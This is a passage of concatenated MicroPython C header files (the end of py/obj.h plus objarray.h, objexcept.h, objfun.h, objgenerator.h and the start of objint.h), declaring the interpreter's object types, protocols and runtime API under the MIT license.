(*mp_fun_1_t)(mp_obj_t); typedef mp_obj_t (*mp_fun_2_t)(mp_obj_t, mp_obj_t); typedef mp_obj_t (*mp_fun_3_t)(mp_obj_t, mp_obj_t, mp_obj_t); typedef mp_obj_t (*mp_fun_var_t)(size_t n, const mp_obj_t *); // mp_fun_kw_t takes mp_map_t* (and not const mp_map_t*) to ease passing // this arg to mp_map_lookup(). typedef mp_obj_t (*mp_fun_kw_t)(size_t n, const mp_obj_t *, mp_map_t *); typedef enum { PRINT_STR = 0, PRINT_REPR = 1, PRINT_EXC = 2, // Special format for printing exception in unhandled exception message PRINT_JSON = 3, PRINT_RAW = 4, // Special format for printing bytes as an undercorated string PRINT_EXC_SUBCLASS = 0x80, // Internal flag for printing exception subclasses } mp_print_kind_t; typedef struct _mp_obj_iter_buf_t { mp_obj_base_t base; mp_obj_t buf[3]; } mp_obj_iter_buf_t; // The number of slots that an mp_obj_iter_buf_t needs on the Python value stack. // It's rounded up in case mp_obj_base_t is smaller than mp_obj_t (eg for OBJ_REPR_D). #define MP_OBJ_ITER_BUF_NSLOTS ((sizeof(mp_obj_iter_buf_t) + sizeof(mp_obj_t) - 1) / sizeof(mp_obj_t)) typedef void (*mp_print_fun_t)(const mp_print_t *print, mp_obj_t o, mp_print_kind_t kind); typedef mp_obj_t (*mp_make_new_fun_t)(const mp_obj_type_t *type, size_t n_args, size_t n_kw, const mp_obj_t *args); typedef mp_obj_t (*mp_call_fun_t)(mp_obj_t fun, size_t n_args, size_t n_kw, const mp_obj_t *args); typedef mp_obj_t (*mp_unary_op_fun_t)(mp_uint_t op, mp_obj_t); typedef mp_obj_t (*mp_binary_op_fun_t)(mp_uint_t op, mp_obj_t, mp_obj_t); typedef void (*mp_attr_fun_t)(mp_obj_t self_in, qstr attr, mp_obj_t *dest); typedef mp_obj_t (*mp_subscr_fun_t)(mp_obj_t self_in, mp_obj_t index, mp_obj_t value); typedef mp_obj_t (*mp_getiter_fun_t)(mp_obj_t self_in, mp_obj_iter_buf_t *iter_buf); // Buffer protocol typedef struct _mp_buffer_info_t { // if we'd bother to support various versions of structure // (with different number of fields), we can distinguish // them with ver = sizeof(struct). Cons: overkill for *micro*? //int ver; // ? void *buf; // can be NULL if len == 0 size_t len; // in bytes int typecode; // as per binary.h // Rationale: to load arbitrary-sized sprites directly to LCD // Cons: a bit adhoc usecase // int stride; } mp_buffer_info_t; #define MP_BUFFER_READ (1) #define MP_BUFFER_WRITE (2) #define MP_BUFFER_RW (MP_BUFFER_READ | MP_BUFFER_WRITE) typedef struct _mp_buffer_p_t { mp_int_t (*get_buffer)(mp_obj_t obj, mp_buffer_info_t *bufinfo, mp_uint_t flags); } mp_buffer_p_t; bool mp_get_buffer(mp_obj_t obj, mp_buffer_info_t *bufinfo, mp_uint_t flags); void mp_get_buffer_raise(mp_obj_t obj, mp_buffer_info_t *bufinfo, mp_uint_t flags); // Stream protocol typedef struct _mp_stream_p_t { // On error, functions should return MP_STREAM_ERROR and fill in *errcode (values // are implementation-dependent, but will be exposed to user, e.g. via exception). mp_uint_t (*read)(mp_obj_t obj, void *buf, mp_uint_t size, int *errcode); mp_uint_t (*write)(mp_obj_t obj, const void *buf, mp_uint_t size, int *errcode); mp_uint_t (*ioctl)(mp_obj_t obj, mp_uint_t request, uintptr_t arg, int *errcode); mp_uint_t is_text : 1; // default is bytes, set this for text stream } mp_stream_p_t; struct _mp_obj_type_t { // A type is an object so must start with this entry, which points to mp_type_type. mp_obj_base_t base; // The name of this type. qstr name; // Corresponds to __repr__ and __str__ special methods. mp_print_fun_t print; // Corresponds to __new__ and __init__ special methods, to make an instance of the type. mp_make_new_fun_t make_new; // Corresponds to __call__ special method, ie T(...). mp_call_fun_t call; // Implements unary and binary operations. // Can return MP_OBJ_NULL if the operation is not supported. mp_unary_op_fun_t unary_op; mp_binary_op_fun_t binary_op; // Implements load, store and delete attribute. // // dest[0] = MP_OBJ_NULL means load // return: for fail, do nothing // for attr, dest[0] = value // for method, dest[0] = method, dest[1] = self // // dest[0,1] = {MP_OBJ_SENTINEL, MP_OBJ_NULL} means delete // dest[0,1] = {MP_OBJ_SENTINEL, object} means store // return: for fail, do nothing // for success set dest[0] = MP_OBJ_NULL mp_attr_fun_t attr; // Implements load, store and delete subscripting: // - value = MP_OBJ_SENTINEL means load // - value = MP_OBJ_NULL means delete // - all other values mean store the value // Can return MP_OBJ_NULL if operation not supported. mp_subscr_fun_t subscr; // Corresponds to __iter__ special method. // Can use the given mp_obj_iter_buf_t to store iterator object, // otherwise can return a pointer to an object on the heap. mp_getiter_fun_t getiter; // Corresponds to __next__ special method. May return MP_OBJ_STOP_ITERATION // as an optimisation instead of raising StopIteration() with no args. mp_fun_1_t iternext; // Implements the buffer protocol if supported by this type. mp_buffer_p_t buffer_p; // One of disjoint protocols (interfaces), like mp_stream_p_t, etc. const void *protocol; // A pointer to the parents of this type: // - 0 parents: pointer is NULL (object is implicitly the single parent) // - 1 parent: a pointer to the type of that parent // - 2 or more parents: pointer to a tuple object containing the parent types const void *parent; // A dict mapping qstrs to objects local methods/constants/etc. struct _mp_obj_dict_t *locals_dict; }; // Constant types, globally accessible extern const mp_obj_type_t mp_type_type; extern const mp_obj_type_t mp_type_object; extern const mp_obj_type_t mp_type_NoneType; extern const mp_obj_type_t mp_type_bool; extern const mp_obj_type_t mp_type_int; extern const mp_obj_type_t mp_type_str; extern const mp_obj_type_t mp_type_bytes; extern const mp_obj_type_t mp_type_bytearray; extern const mp_obj_type_t mp_type_memoryview; extern const mp_obj_type_t mp_type_float; extern const mp_obj_type_t mp_type_complex; extern const mp_obj_type_t mp_type_tuple; extern const mp_obj_type_t mp_type_list; extern const mp_obj_type_t mp_type_map; // map (the python builtin, not the dict implementation detail) extern const mp_obj_type_t mp_type_enumerate; extern const mp_obj_type_t mp_type_filter; extern const mp_obj_type_t mp_type_dict; extern const mp_obj_type_t mp_type_ordereddict; extern const mp_obj_type_t mp_type_range; extern const mp_obj_type_t mp_type_set; extern const mp_obj_type_t mp_type_frozenset; extern const mp_obj_type_t mp_type_slice; extern const mp_obj_type_t mp_type_zip; extern const mp_obj_type_t mp_type_array; extern const mp_obj_type_t mp_type_super; extern const mp_obj_type_t mp_type_gen_instance; extern const mp_obj_type_t mp_type_fun_builtin_0; extern const mp_obj_type_t mp_type_fun_builtin_1; extern const mp_obj_type_t mp_type_fun_builtin_2; extern const mp_obj_type_t mp_type_fun_builtin_3; extern const mp_obj_type_t mp_type_fun_builtin_var; extern const mp_obj_type_t mp_type_fun_bc; extern const mp_obj_type_t mp_type_module; extern const mp_obj_type_t mp_type_staticmethod; extern const mp_obj_type_t mp_type_classmethod; extern const mp_obj_type_t mp_type_property; extern const mp_obj_type_t mp_type_stringio; extern const mp_obj_type_t mp_type_bytesio; extern const mp_obj_type_t mp_type_reversed; extern const mp_obj_type_t mp_type_polymorph_iter; // Exceptions extern const mp_obj_type_t mp_type_BaseException; extern const mp_obj_type_t mp_type_ArithmeticError; extern const mp_obj_type_t mp_type_AssertionError; extern const mp_obj_type_t mp_type_AttributeError; extern const mp_obj_type_t mp_type_EOFError; extern const mp_obj_type_t mp_type_Exception; extern const mp_obj_type_t mp_type_GeneratorExit; extern const mp_obj_type_t mp_type_ImportError; extern const mp_obj_type_t mp_type_IndentationError; extern const mp_obj_type_t mp_type_IndexError; extern const mp_obj_type_t mp_type_KeyboardInterrupt; extern const mp_obj_type_t mp_type_KeyError; extern const mp_obj_type_t mp_type_LookupError; extern const mp_obj_type_t mp_type_MemoryError; extern const mp_obj_type_t mp_type_NameError; extern const mp_obj_type_t mp_type_NotImplementedError; extern const mp_obj_type_t mp_type_OSError; extern const mp_obj_type_t mp_type_TimeoutError; extern const mp_obj_type_t mp_type_OverflowError; extern const mp_obj_type_t mp_type_RuntimeError; extern const mp_obj_type_t mp_type_StopAsyncIteration; extern const mp_obj_type_t mp_type_StopIteration; extern const mp_obj_type_t mp_type_SyntaxError; extern const mp_obj_type_t mp_type_SystemExit; extern const mp_obj_type_t mp_type_TypeError; extern const mp_obj_type_t mp_type_UnicodeError; extern const mp_obj_type_t mp_type_ValueError; extern const mp_obj_type_t mp_type_ViperTypeError; extern const mp_obj_type_t mp_type_ZeroDivisionError; // Constant objects, globally accessible // The macros are for convenience only #define mp_const_none (MP_OBJ_FROM_PTR(&mp_const_none_obj)) #define mp_const_false (MP_OBJ_FROM_PTR(&mp_const_false_obj)) #define mp_const_true (MP_OBJ_FROM_PTR(&mp_const_true_obj)) #define mp_const_empty_bytes (MP_OBJ_FROM_PTR(&mp_const_empty_bytes_obj)) #define mp_const_empty_tuple (MP_OBJ_FROM_PTR(&mp_const_empty_tuple_obj)) extern const struct _mp_obj_none_t mp_const_none_obj; extern const struct _mp_obj_bool_t mp_const_false_obj; extern const struct _mp_obj_bool_t mp_const_true_obj; extern const struct _mp_obj_str_t mp_const_empty_bytes_obj; extern const struct _mp_obj_tuple_t mp_const_empty_tuple_obj; extern const struct _mp_obj_singleton_t mp_const_ellipsis_obj; extern const struct _mp_obj_singleton_t mp_const_notimplemented_obj; extern const struct _mp_obj_exception_t mp_const_MemoryError_obj; extern const struct _mp_obj_exception_t mp_const_GeneratorExit_obj; // General API for objects mp_obj_t mp_obj_new_type(qstr name, mp_obj_t bases_tuple, mp_obj_t locals_dict); mp_obj_t mp_obj_new_none(void); static inline mp_obj_t mp_obj_new_bool(mp_int_t x) { return x ? mp_const_true : mp_const_false; } mp_obj_t mp_obj_new_cell(mp_obj_t obj); mp_obj_t mp_obj_new_int(mp_int_t value); mp_obj_t mp_obj_new_int_from_uint(mp_uint_t value); mp_obj_t mp_obj_new_int_from_str_len(const char **str, size_t len, bool neg, unsigned int base); mp_obj_t mp_obj_new_int_from_ll(long long val); // this must return a multi-precision integer object (or raise an overflow exception) mp_obj_t mp_obj_new_int_from_ull(unsigned long long val); // this must return a multi-precision integer object (or raise an overflow exception) mp_obj_t mp_obj_new_str(const char* data, size_t len, bool make_qstr_if_not_already); mp_obj_t mp_obj_new_str_from_vstr(const mp_obj_type_t *type, vstr_t *vstr); mp_obj_t mp_obj_new_bytes(const byte* data, size_t len); mp_obj_t mp_obj_new_bytearray(size_t n, void *items); mp_obj_t mp_obj_new_bytearray_by_ref(size_t n, void *items); #if MICROPY_PY_BUILTINS_FLOAT mp_obj_t mp_obj_new_int_from_float(mp_float_t val); mp_obj_t mp_obj_new_complex(mp_float_t real, mp_float_t imag); #endif mp_obj_t mp_obj_new_exception(const mp_obj_type_t *exc_type); mp_obj_t mp_obj_new_exception_arg1(const mp_obj_type_t *exc_type, mp_obj_t arg); mp_obj_t mp_obj_new_exception_args(const mp_obj_type_t *exc_type, size_t n_args, const mp_obj_t *args); mp_obj_t mp_obj_new_exception_msg(const mp_obj_type_t *exc_type, const char *msg); mp_obj_t mp_obj_new_exception_msg_varg(const mp_obj_type_t *exc_type, const char *fmt, ...); // counts args by number of % symbols in fmt, excluding %%; can only handle void* sizes (ie no float/double!) mp_obj_t mp_obj_new_fun_bc(mp_obj_t def_args, mp_obj_t def_kw_args, const byte *code, const mp_uint_t *const_table); mp_obj_t mp_obj_new_fun_native(mp_obj_t def_args_in, mp_obj_t def_kw_args, const void *fun_data, const mp_uint_t *const_table); mp_obj_t mp_obj_new_fun_viper(size_t n_args, void *fun_data, mp_uint_t type_sig); mp_obj_t mp_obj_new_fun_asm(size_t n_args, void *fun_data, mp_uint_t type_sig); mp_obj_t mp_obj_new_gen_wrap(mp_obj_t fun); mp_obj_t mp_obj_new_closure(mp_obj_t fun, size_t n_closed, const mp_obj_t *closed); mp_obj_t mp_obj_new_tuple(size_t n, const mp_obj_t *items); mp_obj_t mp_obj_new_list(size_t n, mp_obj_t *items); mp_obj_t mp_obj_new_dict(size_t n_args); mp_obj_t mp_obj_new_set(size_t n_args, mp_obj_t *items); mp_obj_t mp_obj_new_slice(mp_obj_t start, mp_obj_t stop, mp_obj_t step); mp_obj_t mp_obj_new_bound_meth(mp_obj_t meth, mp_obj_t self); mp_obj_t mp_obj_new_getitem_iter(mp_obj_t *args, mp_obj_iter_buf_t *iter_buf); mp_obj_t mp_obj_new_module(qstr module_name); mp_obj_t mp_obj_new_memoryview(byte typecode, size_t nitems, void *items); mp_obj_type_t *mp_obj_get_type(mp_const_obj_t o_in); const char *mp_obj_get_type_str(mp_const_obj_t o_in); bool mp_obj_is_subclass_fast(mp_const_obj_t object, mp_const_obj_t classinfo); // arguments should be type objects mp_obj_t mp_instance_cast_to_native_base(mp_const_obj_t self_in, mp_const_obj_t native_type); void mp_obj_print_helper(const mp_print_t *print, mp_obj_t o_in, mp_print_kind_t kind); void mp_obj_print(mp_obj_t o, mp_print_kind_t kind); void mp_obj_print_exception(const mp_print_t *print, mp_obj_t exc); bool mp_obj_is_true(mp_obj_t arg); bool mp_obj_is_callable(mp_obj_t o_in); bool mp_obj_equal(mp_obj_t o1, mp_obj_t o2); mp_int_t mp_obj_get_int(mp_const_obj_t arg); mp_int_t mp_obj_get_int_truncated(mp_const_obj_t arg); bool mp_obj_get_int_maybe(mp_const_obj_t arg, mp_int_t *value); #if MICROPY_PY_BUILTINS_FLOAT mp_float_t mp_obj_get_float(mp_obj_t self_in); void mp_obj_get_complex(mp_obj_t self_in, mp_float_t *real, mp_float_t *imag); #endif //qstr mp_obj_get_qstr(mp_obj_t arg); void mp_obj_get_array(mp_obj_t o, size_t *len, mp_obj_t **items); // *items may point inside a GC block void mp_obj_get_array_fixed_n(mp_obj_t o, size_t len, mp_obj_t **items); // *items may point inside a GC block size_t mp_get_index(const mp_obj_type_t *type, size_t len, mp_obj_t index, bool is_slice); mp_obj_t mp_obj_id(mp_obj_t o_in); mp_obj_t mp_obj_len(mp_obj_t o_in); mp_obj_t mp_obj_len_maybe(mp_obj_t o_in); // may return MP_OBJ_NULL mp_obj_t mp_obj_subscr(mp_obj_t base, mp_obj_t index, mp_obj_t val); mp_obj_t mp_generic_unary_op(mp_uint_t op, mp_obj_t o_in); // cell mp_obj_t mp_obj_cell_get(mp_obj_t self_in); void mp_obj_cell_set(mp_obj_t self_in, mp_obj_t obj); // int // For long int, returns value truncated to mp_int_t mp_int_t mp_obj_int_get_truncated(mp_const_obj_t self_in); // Will raise exception if value doesn't fit into mp_int_t mp_int_t mp_obj_int_get_checked(mp_const_obj_t self_in); // exception #define mp_obj_is_native_exception_instance(o) (mp_obj_get_type(o)->make_new == mp_obj_exception_make_new) bool mp_obj_is_exception_type(mp_obj_t self_in); bool mp_obj_is_exception_instance(mp_obj_t self_in); bool mp_obj_exception_match(mp_obj_t exc, mp_const_obj_t exc_type); void mp_obj_exception_clear_traceback(mp_obj_t self_in); void mp_obj_exception_add_traceback(mp_obj_t self_in, qstr file, size_t line, qstr block); void mp_obj_exception_get_traceback(mp_obj_t self_in, size_t *n, size_t **values); mp_obj_t mp_obj_exception_get_value(mp_obj_t self_in); mp_obj_t mp_obj_exception_make_new(const mp_obj_type_t *type_in, size_t n_args, size_t n_kw, const mp_obj_t *args); mp_obj_t mp_alloc_emergency_exception_buf(mp_obj_t size_in); void mp_init_emergency_exception_buf(void); // str bool mp_obj_str_equal(mp_obj_t s1, mp_obj_t s2); qstr mp_obj_str_get_qstr(mp_obj_t self_in); // use this if you will anyway convert the string to a qstr const char *mp_obj_str_get_str(mp_obj_t self_in); // use this only if you need the string to be null terminated const char *mp_obj_str_get_data(mp_obj_t self_in, size_t *len); mp_obj_t mp_obj_str_intern(mp_obj_t str); void mp_str_print_quoted(const mp_print_t *print, const byte *str_data, size_t str_len, bool is_bytes); #if MICROPY_PY_BUILTINS_FLOAT // float #if MICROPY_FLOAT_HIGH_QUALITY_HASH mp_int_t mp_float_hash(mp_float_t val); #else static inline mp_int_t mp_float_hash(mp_float_t val) { return (mp_int_t)val; } #endif mp_obj_t mp_obj_float_binary_op(mp_uint_t op, mp_float_t lhs_val, mp_obj_t rhs); // can return MP_OBJ_NULL if op not supported // complex void mp_obj_complex_get(mp_obj_t self_in, mp_float_t *real, mp_float_t *imag); mp_obj_t mp_obj_complex_binary_op(mp_uint_t op, mp_float_t lhs_real, mp_float_t lhs_imag, mp_obj_t rhs_in); // can return MP_OBJ_NULL if op not supported #else #define mp_obj_is_float(o) (false) #endif // tuple void mp_obj_tuple_get(mp_obj_t self_in, size_t *len, mp_obj_t **items); void mp_obj_tuple_del(mp_obj_t self_in); mp_int_t mp_obj_tuple_hash(mp_obj_t self_in); // list struct _mp_obj_list_t; void mp_obj_list_init(struct _mp_obj_list_t *o, size_t n); mp_obj_t mp_obj_list_append(mp_obj_t self_in, mp_obj_t arg); mp_obj_t mp_obj_list_remove(mp_obj_t self_in, mp_obj_t value); void mp_obj_list_get(mp_obj_t self_in, size_t *len, mp_obj_t **items); void mp_obj_list_set_len(mp_obj_t self_in, size_t len); void mp_obj_list_store(mp_obj_t self_in, mp_obj_t index, mp_obj_t value); mp_obj_t mp_obj_list_sort(size_t n_args, const mp_obj_t *args, mp_map_t *kwargs); // dict typedef struct _mp_obj_dict_t { mp_obj_base_t base; mp_map_t map; } mp_obj_dict_t; void mp_obj_dict_init(mp_obj_dict_t *dict, size_t n_args); size_t mp_obj_dict_len(mp_obj_t self_in); mp_obj_t mp_obj_dict_get(mp_obj_t self_in, mp_obj_t index); mp_obj_t mp_obj_dict_store(mp_obj_t self_in, mp_obj_t key, mp_obj_t value); mp_obj_t mp_obj_dict_delete(mp_obj_t self_in, mp_obj_t key); mp_map_t *mp_obj_dict_get_map(mp_obj_t self_in); // set void mp_obj_set_store(mp_obj_t self_in, mp_obj_t item); // slice void mp_obj_slice_get(mp_obj_t self_in, mp_obj_t *start, mp_obj_t *stop, mp_obj_t *step); // functions typedef struct _mp_obj_fun_builtin_fixed0_t { mp_obj_base_t base; mp_fun_0_t fun; } mp_obj_fun_builtin_fixed0_t; typedef struct _mp_obj_fun_builtin_fixed1_t { mp_obj_base_t base; mp_fun_1_t fun; } mp_obj_fun_builtin_fixed1_t; typedef struct _mp_obj_fun_builtin_fixed2_t { mp_obj_base_t base; mp_fun_2_t fun; } mp_obj_fun_builtin_fixed2_t; typedef struct _mp_obj_fun_builtin_fixed3_t { mp_obj_base_t base; mp_fun_3_t fun; } mp_obj_fun_builtin_fixed3_t; #define MP_OBJ_FUN_ARGS_MAX (0xffff) // to set maximum value in n_args_max below typedef struct _mp_obj_fun_builtin_var_t { mp_obj_base_t base; bool is_kw : 1; mp_uint_t n_args_min : 15; // inclusive mp_uint_t n_args_max : 16; // inclusive mp_fun_var_t fun; } mp_obj_fun_builtin_var_t; typedef struct _mp_obj_fun_builtin_kw_t { mp_obj_base_t base; bool is_kw : 1; mp_uint_t n_args_min : 15; // inclusive mp_uint_t n_args_max : 16; // inclusive mp_fun_kw_t fun; } mp_obj_fun_builtin_kw_t; qstr mp_obj_fun_get_name(mp_const_obj_t fun); qstr mp_obj_code_get_name(const byte *code_info); mp_obj_t mp_identity(mp_obj_t self); MP_DECLARE_CONST_FUN_OBJ_1(mp_identity_obj); mp_obj_t mp_identity_getiter(mp_obj_t self, mp_obj_iter_buf_t *iter_buf); // module typedef struct _mp_obj_module_t { mp_obj_base_t base; mp_obj_dict_t *globals; } mp_obj_module_t; mp_obj_dict_t *mp_obj_module_get_globals(mp_obj_t self_in); // check if given module object is a package bool mp_obj_is_package(mp_obj_t module); // staticmethod and classmethod types; defined here so we can make const versions // this structure is used for instances of both staticmethod and classmethod typedef struct _mp_obj_static_class_method_t { mp_obj_base_t base; mp_obj_t fun; } mp_obj_static_class_method_t; typedef struct _mp_rom_obj_static_class_method_t { mp_obj_base_t base; mp_rom_obj_t fun; } mp_rom_obj_static_class_method_t; // property const mp_obj_t *mp_obj_property_get(mp_obj_t self_in); // sequence helpers // slice indexes resolved to particular sequence typedef struct { mp_uint_t start; mp_uint_t stop; mp_int_t step; } mp_bound_slice_t; void mp_seq_multiply(const void *items, size_t item_sz, size_t len, size_t times, void *dest); #if MICROPY_PY_BUILTINS_SLICE bool mp_seq_get_fast_slice_indexes(mp_uint_t len, mp_obj_t slice, mp_bound_slice_t *indexes); #endif #define mp_seq_copy(dest, src, len, item_t) memcpy(dest, src, len * sizeof(item_t)) #define mp_seq_cat(dest, src1, len1, src2, len2, item_t) { memcpy(dest, src1, (len1) * sizeof(item_t)); memcpy(dest + (len1), src2, (len2) * sizeof(item_t)); } bool mp_seq_cmp_bytes(mp_uint_t op, const byte *data1, size_t len1, const byte *data2, size_t len2); bool mp_seq_cmp_objs(mp_uint_t op, const mp_obj_t *items1, size_t len1, const mp_obj_t *items2, size_t len2); mp_obj_t mp_seq_index_obj(const mp_obj_t *items, size_t len, size_t n_args, const mp_obj_t *args); mp_obj_t mp_seq_count_obj(const mp_obj_t *items, size_t len, mp_obj_t value); mp_obj_t mp_seq_extract_slice(size_t len, const mp_obj_t *seq, mp_bound_slice_t *indexes); // Helper to clear stale pointers from allocated, but unused memory, to preclude GC problems #define mp_seq_clear(start, len, alloc_len, item_sz) memset((byte*)(start) + (len) * (item_sz), 0, ((alloc_len) - (len)) * (item_sz)) #define mp_seq_replace_slice_no_grow(dest, dest_len, beg, end, slice, slice_len, item_sz) \ /*printf("memcpy(%p, %p, %d)\n", dest + beg, slice, slice_len * (item_sz));*/ \ memcpy(((char*)dest) + (beg) * (item_sz), slice, slice_len * (item_sz)); \ /*printf("memmove(%p, %p, %d)\n", dest + (beg + slice_len), dest + end, (dest_len - end) * (item_sz));*/ \ memmove(((char*)dest) + (beg + slice_len) * (item_sz), ((char*)dest) + (end) * (item_sz), (dest_len - end) * (item_sz)); // Note: dest and slice regions may overlap #define mp_seq_replace_slice_grow_inplace(dest, dest_len, beg, end, slice, slice_len, len_adj, item_sz) \ /*printf("memmove(%p, %p, %d)\n", dest + beg + len_adj, dest + beg, (dest_len - beg) * (item_sz));*/ \ memmove(((char*)dest) + (beg + slice_len) * (item_sz), ((char*)dest) + (end) * (item_sz), ((dest_len) + (len_adj) - ((beg) + (slice_len))) * (item_sz)); \ memmove(((char*)dest) + (beg) * (item_sz), slice, slice_len * (item_sz)); #endif // MICROPY_INCLUDED_PY_OBJ_H ================================================ FILE: micropython/inc/py/objarray.h ================================================ /* * This file is part of the MicroPython project, http://micropython.org/ * * The MIT License (MIT) * * Copyright (c) 2013, 2014 Damien P. George * Copyright (c) 2014 Paul Sokolovsky * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ #ifndef MICROPY_INCLUDED_PY_OBJARRAY_H #define MICROPY_INCLUDED_PY_OBJARRAY_H #include "py/obj.h" typedef struct _mp_obj_array_t { mp_obj_base_t base; size_t typecode : 8; // free is number of unused elements after len used elements // alloc size = len + free size_t free : (8 * sizeof(size_t) - 8); size_t len; // in elements void *items; } mp_obj_array_t; #endif // MICROPY_INCLUDED_PY_OBJARRAY_H ================================================ FILE: micropython/inc/py/objexcept.h ================================================ /* * This file is part of the MicroPython project, http://micropython.org/ * * The MIT License (MIT) * * Copyright (c) 2014 Damien P. George * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ #ifndef MICROPY_INCLUDED_PY_OBJEXCEPT_H #define MICROPY_INCLUDED_PY_OBJEXCEPT_H #include "py/obj.h" #include "py/objtuple.h" typedef struct _mp_obj_exception_t { mp_obj_base_t base; size_t traceback_alloc : (8 * sizeof(size_t) / 2); size_t traceback_len : (8 * sizeof(size_t) / 2); size_t *traceback_data; mp_obj_tuple_t *args; } mp_obj_exception_t; #endif // MICROPY_INCLUDED_PY_OBJEXCEPT_H ================================================ FILE: micropython/inc/py/objfun.h ================================================ /* * This file is part of the MicroPython project, http://micropython.org/ * * The MIT License (MIT) * * Copyright (c) 2013, 2014 Damien P. George * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ #ifndef MICROPY_INCLUDED_PY_OBJFUN_H #define MICROPY_INCLUDED_PY_OBJFUN_H #include "py/obj.h" typedef struct _mp_obj_fun_bc_t { mp_obj_base_t base; mp_obj_dict_t *globals; // the context within which this function was defined const byte *bytecode; // bytecode for the function const mp_uint_t *const_table; // constant table // the following extra_args array is allocated space to take (in order): // - values of positional default args (if any) // - a single slot for default kw args dict (if it has them) // - a single slot for var args tuple (if it takes them) // - a single slot for kw args dict (if it takes them) mp_obj_t extra_args[]; } mp_obj_fun_bc_t; #endif // MICROPY_INCLUDED_PY_OBJFUN_H ================================================ FILE: micropython/inc/py/objgenerator.h ================================================ /* * This file is part of the MicroPython project, http://micropython.org/ * * The MIT License (MIT) * * Copyright (c) 2013, 2014 Damien P. George * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ #ifndef MICROPY_INCLUDED_PY_OBJGENERATOR_H #define MICROPY_INCLUDED_PY_OBJGENERATOR_H #include "py/obj.h" #include "py/runtime.h" mp_vm_return_kind_t mp_obj_gen_resume(mp_obj_t self_in, mp_obj_t send_val, mp_obj_t throw_val, mp_obj_t *ret_val); #endif // MICROPY_INCLUDED_PY_OBJGENERATOR_H ================================================ FILE: micropython/inc/py/objint.h ================================================ /* * This file is part of the MicroPython project, http://micropython.org/ * * The MIT License (MIT) * * Copyright (c) 2013, 2014 Damien P. George * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ #ifndef 